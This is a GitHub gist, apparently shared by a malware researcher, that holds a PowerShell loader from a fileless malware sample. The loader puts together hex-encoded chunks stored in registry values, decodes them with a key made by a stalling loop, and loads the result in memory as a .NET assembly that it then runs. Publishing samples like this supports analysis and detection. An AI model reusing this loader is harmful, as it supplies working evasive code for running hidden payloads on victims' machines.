Created
May 5, 2021 05:55
-
-
Save embee-research/f9603fbb3f338a13bbeff77409c703e7 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<# hljnagvaw #>$u=$env:UserName; | |
for ($counter=0; $counter -le 700; $counter++){ | |
$pathToRegKey="HKCU:\SOFTWARE\"+$u+"1"; | |
Try{ | |
$a=$a+(Get-ItemProperty -path $pathToRegKey).$counter | |
} | |
Catch{} | |
}; | |
function StringToBytes{[cmdletbinding()] | |
param([parameter(Mandatory=$true)][String]$hs); | |
$Bytes = [byte[]]::new($hs.Length / 2); | |
for($counter=0; $counter -lt $hs.Length;$counter+=2){ | |
$Bytes[$counter/2] = [convert]::ToByte($hs.Substring($counter, 2), 16) | |
} | |
$Bytes}; | |
$counter = 0; | |
While ($True){ | |
$counter++; $ko = [math]::Sqrt($counter); | |
if ($ko -eq 1000){ | |
break | |
} | |
} | |
[byte[]]$badCodeBytes= StringToBytes($a.replace("#",$ko)); | |
[Reflection.Assembly]::Load($badCodeBytes); | |
[Open]::Test(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment